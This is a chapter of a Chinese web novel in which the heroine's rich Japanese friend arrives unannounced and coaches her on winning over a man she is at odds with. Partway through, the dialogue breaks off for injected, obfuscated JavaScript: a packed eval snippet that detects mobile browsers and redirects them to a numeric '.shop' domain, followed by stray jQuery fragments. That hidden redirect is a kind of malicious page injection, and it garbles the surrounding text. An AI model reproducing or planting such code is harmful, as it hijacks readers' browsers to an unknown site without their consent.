20. 好戏导演(2)

作品:《来!发疯啊!

    一夜睡得并不安稳。早晨一睁眼她就摸起手机来看,不到六点,安已经给她发了回信,说自己之前有事,没看到她的消息,又向她问如今的住址是哪里,说要给她邮东西。


    嗯?她居然没有追问她的那条消息,而是要给她邮东西?


    这不对,很不对。


    她回:不用了,漂洋过海的多麻烦,我这里什么都不缺。


    安这次倒是秒回,坚持要她的地址。吕静言心知有异,不过还是给了她,然后晃悠进卫生间去洗漱。


    磨磨蹭蹭整理完自己,也不过才六点半,她拿着电子阅读器坐到四楼客厅的沙发上,想再看会儿小说打发时间,等到差不多七点半下楼吃饭。


    看了没几行,外边传来电梯的开合声,她循声望过去。


    四楼客厅没有门,从她的角度能看见琴姐轻手轻脚地朝这边走过来。她见她坐在沙发上,松了口气,道:“您已经起来啦。”


    她点点头,问:“有什么事吗。”


    琴姐道:“来了一位小姐,不大会中文,好像说是您的朋友,我们不知真假,不敢随便放进来,麻烦您去确认一下。”


    不大会中文的小姐?她朋友?


    ???


    !!!


    不是吧?!


    吕静言立刻从沙发上起身,跟着琴姐去楼下监控室。


    高清的监控画面中,一个娇小的身影正在院门口踱步,吕静言盯着看了半晌才确定自己不是在做梦,赶紧叫安保把人放进来,自己披了外衣出门去迎。


    院门离屋门有一段距离,安保那边开了摆渡车载着安进来,安看见她,连忙叫停车子,跳下来扑向她:“惊喜!”*


    吕静言笑着抱住她,“吓我一跳。你怎么突然过来了?正是新年呢,不用回去陪家人吗。”


    安道:“我不重要,有哥哥姐姐回去就够了。我想你了,来找你玩。”


    “所以我昨晚找不到你,是因为你在飞机上?”


    安笑了一阵,说:“是啊。”


    吕静言拍拍她的后背。


    她们拥抱片刻,松开彼此,安随口赞道:“你家院子还挺大的。”


    吕静言油然生出一种班门弄斧的羞耻。


    安本名清原葵依,英文全名安娜贝丝,她一般叫她安,或安娜。她是日本某个财阀的四女,但不属于婚生。据她自己说,她母亲只是父亲的“女朋友”,不过——她曾强调——她父亲和她母亲在一起时并没有处于和他人的婚姻关系之中。


    吕静言不了解日本法律,不知道这是否构成事实婚姻,也不知她是否属于私生。但总之,安、安的家庭,相当富有,是资本主义国家那种无法无天的富有,和国内的他们这些阔人都不是一回事。


    尽管安总是反复申明她不过是个不重要的四女,然而,她确实也是见惯各种繁华富贵的财阀小姐。她当然住过世界各地、各式各样的豪宅,对她来说,吕家的这别墅算得了什么呢。像这样一味模仿西式的庭院风格,这样大而无当的设计规划,这样处处透露出暴发户般庸俗品位的建筑,在她眼里想必好笑。她应该看见的,该是她们家以前的老宅,园林山水,移步换景,意蕴无穷,那才是她从小长大的地方,那才是她的家。


    可它却像她的童年,像瀚威的鼎盛时期一样,一去不复返了。


    安不知道她在想什么,挽住她叽叽喳喳地问:“对了对了,你昨晚发我的消息是怎么回事?你有喜欢的人了?你居然会喜欢谁?发生了什么?快讲快讲。”


    吕静言带着她往屋子里走,笑道:“什么叫‘我居然会喜欢谁’。”


    安说:“因为你看起来像个无性恋啊。”


    “啊?”


    “就是不喜欢男人也不喜欢女——”


    “我知道那是什么意思,你为什么会觉得......”


    “你大学四年从没谈过恋爱!也对向你表达好感的男生,哦,还有女生,全都没有兴趣,超级冷淡的!”安说着,夸张地打了个寒噤。


    吕静言笑着轻推她一下,“什么啊,我哪有。”


    “你有。”安说,“所以,究竟是谁打破了这个魔咒?你竟然要主动追求他?”


    吕静言耻于把自己不上台面的计划告诉任何人,遮遮掩掩道:“嗯......也不算是追求?不,好像差不多。唔,这个人呢,他——”


    她们快走到大门,此时吕静言口中的“他”从另一个方向走过来,她立马闭紧嘴巴。


    吕希声一身运动装束,腕上戴着智能手环,看样子是刚晨跑过。安见到他,似乎有些微怔,吕静言本不想让他们认识彼此,此时为了待客的礼仪,只好向安简短介绍道:“吕希声。”


    安与他互相点头致意。吕静言没再为吕希声介绍安,拉着她径直走入门厅。


    吕希声跟在她们之后进来,和她们一起脱了外套换了拖鞋,却没有再一同去等电梯,而是从楼梯步行上去。


    电梯门关合,吕静言忽然问静默下来的安:“你怎么没问我?”


    安疑惑道:“什么?”


    吕静言说:“刚才那个人是谁啊。你好奇心这么重的人,怎么没有打听。”


    “哦。”安想了下,说:“他既然在你家,又姓吕,肯定是亲人喽,有什么好问。——哥哥?”


    吕静言很微妙地笑了下,没有说话。


    安也没再说什么。


    她们到达四楼,不约而同地歪在沙发上,安继续“拷问”她:“刚才还没说完呢,他怎么样?什么样的人?”


    “没什么样。”吕静言说,“就一个男的。”


    安气得用指尖戳她,“说详细点!还要不要我帮忙了?”


    早知道你会出现在这儿,我怎么还敢叫你帮忙。吕静言心里哀叹。


    安还在戳她。


    “哎呀,好了,”吕静言做投降状,“就是,他长得还可以,各方面条件么,和我差不多。——但是,”她给自己的朋友打预防针道,“我们之间的关系不算很好,我单方面想要勾,嗯,追求他,也不一定能成功。所以先不给你见了,看情况,以后再说。”


    安满脸不解,“什么?你们关系不好?那你为什么喜欢他。”


    “也......没有为什么。”


    安拉远距离打量她,“原来你爱好这种风味,喜欢强求不喜欢你的人。”


    吕静言头疼:“不是!”


    安更疑惑了:“不是?那是什么。”


    “......”吕静言无法解释,放弃挣扎道:“是。你说得对,我就喜欢这种。所以该怎么把他弄到手,你有没有好办法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377787|198483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    安一副恋爱大师的样子摇摇头,“难啊,难。你们关系有多不好?是关系淡漠的那种不好,还是针锋相对的那种不好?”


    吕静言毫不犹豫道:“针锋相对。”


    安倒抽一口冷气。


    吕静言改口道:“有时候也淡漠。”


    安叫道:“那更难了!地狱难度!”


    吕静言道:“正因如此才要找你帮忙啊。你肯定有办法对不对?你们樱花妹的那一套,很厉害,我知道。”


    安扭捏笑道:“哎呀,胡说,哪里有啊。”


    吕静言丝毫不和她客气,“行了,别装啦,赶紧给我出点主意。”


    安露出“真拿你没办法”的表情,说:“既然你问了,那么,按照我的经验来讲呢,首先,你可以多夸夸他。没有人不喜欢夸赞,尤其男人,就算你们关系差,他也不会反感这个。”


    夸吕希声?以现在这个局面而言,这可真够诡异的。不过,行吧,姑且记下,万一有合适的机会,那也可以夸......夸他。


    “然后,温柔一点。”安接着道,“他们都喜欢温柔的女生。切记不要太强势,要可爱,要柔弱,哦,还有崇拜,女人的崇拜对男人来说是必杀。星星眼会做吗?”她双手交握,脑袋微仰,做出无限钦慕的样子,“就这样,你就这么看他,来,做一个试试。”


    吕静言鸡皮疙瘩起了一身,赶紧推拒。别说现在,她以前也没对吕希声这样过,她要这么看他,他肯定觉得她疯了,鬼上身了,脑子坏掉了。不行不行。


    至于温柔、可爱、柔弱,虽然充满了东亚式女性刻板印象,但必要时勉强可以装一装。


    安没能成功让她做出星星眼,不满地撅了撅嘴,清清嗓子,又道:“还有呢,就是可以制造一点肢体接触。若有似无的那种,引人无限遐想,但又不落到实处,保证他翻来覆地去琢磨你到底什么意思。不过分寸你要掌握好哦,主要你们关系,嗯,很一般,弄不好他会觉得受到了骚扰。但你要是用得巧妙呢,那关系一定能够突飞猛进,男人么,大多好色,你懂的。”


    男人好色,她知道。但吕希声好不好她的色,那她就不是很确定了。——不过他必须好,不然她还怎么成功。一定要努力勾起他的色心才行。肢体接触是么,她记下了。


    “最后,也是最关键的一点,”安提高声音,重点强调道,“是真心。一个人的感情真不真,其实做不了假,对方一定能够感受得到。假如你真的很喜欢、或者说爱他,日子久了,他总能有所体会,继而被打动。真心是感情中最核心最珍贵的部分,如果连这个都打动不了他,那我劝你也不要浪费时间了。不值得。”


    哦,这个没用。她和吕希声还谈什么真心,赶紧用技巧勾他走到上床那一步就完事,什么喜欢啦爱啦,跟她没关系。


    安说完,总结陈词道:“我暂时能想到的就这么多,以后再有什么想法随时给你补充。或者你碰到问题了直接来问我。”


    吕静言一副虚心受教的样子连连点头,“好的好的,我就知道你有好建议,恋爱大师。”


    安很得意地一扬头。


    ——————


    *吕静言与安交流用语皆为英文,为方便阅读与写作,文中全部用中文表示,特此注明,后续不再赘述。